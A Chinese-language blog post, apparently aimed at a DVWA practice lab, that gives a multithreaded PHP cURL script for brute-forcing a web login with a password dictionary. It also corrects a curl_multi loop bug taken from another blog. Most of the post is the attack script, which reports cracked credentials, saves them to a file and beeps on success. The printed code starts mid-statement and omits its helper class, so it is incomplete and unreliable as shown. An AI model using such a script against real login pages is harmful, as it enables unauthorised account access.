昨天本站发了一个使用CURL单线程破解DVWA登陆密码的脚本,今天继续来玩CURL,这次使用多线程。。
关于PHP的CUR多线程,我参考了网上的不少资料,同时也发现了一些小问题,分享给大家。
淘宝的搜索技术博客上面的CURL方法,关于判断CURL状态的代码,在某些PHP版本情况下会导致死循环。
do { $mrc = curl_multi_exec($queue, $active); } while ($mrc == CURLM_CALL_MULTI_PERFORM); while ($active > 0 && $mrc == CURLM_OK) { if (curl_multi_select($queue, 0.5) != -1) { do { $mrc = curl_multi_exec($queue, $active); } while ($mrc == CURLM_CALL_MULTI_PERFORM); } }
我测试的是php版本是php5.3.13 win7 64位版本下面,直接使用淘宝博客上面的会死循环,改成下面的成功运行。
$active = null; do { $mrc = curl_multi_exec($mh, $active); //当无数据,active=true } while ($mrc == CURLM_CALL_MULTI_PERFORM); //当正在接受数据时 while ($active && $mrc == CURLM_OK) { if (curl_multi_select($mh) === -1) { usleep(100); } do { $mrc = curl_multi_exec($mh, $active); } while ($mrc == CURLM_CALL_MULTI_PERFORM); }
好了,今天来介绍我们的CURL多线程破解DVWA登陆密码的脚本,代码如下:
post_data; preg_match('/username\=(.*?)&password\=(.*?)&Login\=%E7%99%BB%E9%99%86/i', $p, $mm); $user = $mm[1]; $pass = $mm[2]; if (!preg_match('/Location: index.php/', $response, $match)) { //print_r($match); echo '密码破解失败 ' . '用户名:' . $user . ' 密码:' . $pass . PHP_EOL; } else { echo '密码破解成功 ' . '用户名:' . $user . ' 密码:' . $pass . chr(07) . PHP_EOL; file_put_contents('result.txt', '密码破解成功 ' . '用户名:' . $user . ' 密码:' . $pass . PHP_EOL); } } $url = 'http://localhost/dvwa/login.php'; $user = 'admin'; //要破解的用户名 $rc = new RollingCurl('dvwa_crack'); $rc->__set('window_size', $threads); //设置线程 $rc->__set('time_out', $timeout); //设置超时时间 //echo $rc->__get('window_size'); $method = 'POST'; //循环进行破解 foreach ($dict as $pass) { $pass = trim($pass); //去掉多余字符 $post_data = "username=$user&password=$pass&Login=%E7%99%BB%E9%99%86"; $request = new RollingCurlRequest($url, $method, $post_data); //CURLOPT_HEADER显示HTTP头信息 CURLOPT_NOBODY不显示BODY体 $request->options = array( CURLOPT_HEADER => 1, CURLOPT_NOBODY => 1 ); $rc->add($request); } $rc->execute(); //时间统计函数 function func_time() { list($microsec, $sec) = explode(' ', microtime()); return $microsec + $sec; } echo '脚本执行时间:' . round((func_time() - $start_time), 4) . '秒。'; ?>
代码执行过程中会显示当前正在破解的密码,并且会把破解成功以后的密码写入到result.txt文件中,友情提醒,破解成功会有蜂鸣声提示的哦,运行效果如下:
代码参考了某大牛破解yunfile网盘密码,在此感谢,不过大牛的代码在设置破解线程的时候写错了,我这里已经改过来了,不过不知道大牛的联系方式,也不能告诉他,希望他也能看到这个文章吧。。
from www.waitalone.cn.thanks for it.
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论